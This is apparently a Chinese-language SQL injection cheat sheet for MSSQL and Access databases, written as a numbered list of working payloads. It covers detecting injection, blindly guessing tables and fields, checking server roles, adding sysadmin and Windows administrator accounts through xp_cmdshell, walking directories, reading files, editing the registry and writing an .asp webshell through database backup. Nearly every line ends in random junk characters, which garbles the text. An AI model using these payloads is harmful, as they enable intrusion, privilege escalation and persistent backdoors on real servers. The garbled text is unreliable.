1.判断是否有注入;and 1=1 ;and 1=2 Q) #B0NA;T
2.初步判断是否是mssql ;and user>0 _1X!EH"
BX/8O<s0
3.注入参数是字符'and [查询条件] and ''=' 7jrt7[{
t
mntp
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wKh4|Ka
N>uRf0E>
5.判断数据库系统 O *C;Vqt
goNG' o %|
;and (select count(*) from sysobjects)>0 mssql %jJG>T
s3N'02G
;and (select count(*) from msysobjects)>0 access _{ue8kGt
,O5NLg-
~i= _J3'
I@\lN&HC
6.猜数据库 ;and (select Count(*) from [数据库名])>0 BkAm/R
pp?D7S
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 m[osg< CR_
@)F )S7
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eSn+ B;
Vsr.=Nd=
9.(1)猜字段的ascii值(access) 1NFsb-<u
J6"9v;V
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 -]Bq|qTH[(
> tS'Q`R
(2)猜字段的ascii值(mssql) d7^}tM
b#c:u2
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &N9
a<w8+
Yu/ID!`Z
10.测试权限结构(mssql) krxo"WgD
OG~gFZr)6
n)/z0n!\
ZmqKQO
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QpH'PYy
W-f=]eWg
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >gQ>1Bwvi
uh_RGM&
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *tFHM &a
`cn#B
BV
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a~`eQ_ND
Eh`7X=Z7E
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- &3>)qul
m,28u3@r
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- cU (D{~
Y|m+dT6
;and 1=(select IS_MEMBER('db_owner'));-- j3oV+zZ49
\&:nFb%=
l9~e".
~'
h8j.(
11.添加mssql和系统的帐户 B4/>H|
$p8xEcQdU#
;exec master.dbo.sp_addlogin username;-- T~?Ff|qFC
;exec master.dbo.sp_password null,username,password;-- X #dmo/L8
:k]1Lm||
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- h^45,E C
[^n.Pn s
;exec master.dbo.xp_cmdshell 'net user username password D8Ic?:iX[
dbLZc$vPj
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >=lC4Tu
G>_*djUf
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2szPAuN+
lBE=(A`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 7Die
FZ?
eIF5ZPSZi
?,Xw[pR
;O5zUl-`
12.(1)遍历目录 Ty\R=y}}
;C#F>SG\S
;create table dirs(paths varchar(100), id int) HWAdhDZ
m@j?za9s
;insert dirs exec master.dbo.xp_dirtree 'c:\' M^Yh|%M
ja'T+!k
;and (select top 1 paths from dirs)>0 ,,.QfUj/&
6-
YU[HF
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ZoqZap6e
P[-E@0h)-t
{W`%g^Z|H
8%mu8l
(2)遍历目录 :G=fl)!fE
Ny7 S
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5I;&mW`1,`
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 "cGk)s
2nObl'ec
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 =J==i?
!,uE]gwLw
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 g-k|>-h
nAato\mM
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 j_[tu!~
+E+p"7
rKc9b<Ir
s^TZXCyF o
13.mssql中的存储过程 FGJ1dBLr
'BxX0
xp_regenumvalues 注册表根键, 子键 AN m
d!
>uB?rGcM
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 CW K7wZM
uZYF(Yu
xp_regread 根键,子键,键值名 }tuC}
t3ZOco@~P
;exec xp_regread
XJB)rP
gg/-k;@ Rf
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 iVr J Q
v~C
Czg
xp_regwrite 根键,子键, 值名, 值类型, 值 :4w ?#
A@('pA85
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3&4(ZH=
}6~hEc*/"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 M0"_^?
y<3-?}.aZ
xp_regdeletevalue 根键,子键,值名 #z%fx
est9M*Fn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Kw^ 7>\
">nxHU
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 On?v|10r'
l&zilVVm
>|=ts
H41?/U,{
14.mssql的backup创建webshell 6_;icpN]
MchA{p&Ol
use model {Mk6T1Bkq
I
34>X`[o
create table cmd(str image); a-tmq]]E
|-ALklXr
insert into cmd(str) values (''); Rv>-4@fMJ
t}4,]ms
backup database model to disk='c:\l.asp'; Yh7t"=o
KF}hV9IU
Dy&i&5E.-l
Nx;~@
15.mssql内置函数 `}\
"Aw c
JR|ck=tq
;and (select @@version)>0 获得Windows的版本号 >y>5#[M!
HJH{nz'Lw
;and user_name()='dbo' 判断当前系统的连接用户是不是sa RB\uK
1+
:OZrH<SW
;and (select user_name())>0 爆当前系统的连接用户 ~ Iuf}D;
h#*dI`>l-
;and (select db_name())>0 得到当前连接的数据库 S hWJ72c
^76]0`gS
re<{
>
t@;p
16.简洁的webshell HiFUv>,u
@HC Vmg:
use model ~~P5k:
kTB0b*V
create table cmd(str image); Zx@a/jLO[n
'LC1(V!_j
insert into cmd(str) values (''); 5tkAFb4P
=qIp2c}Rx
backup database model to disk='g:\wwwtest\l.asp';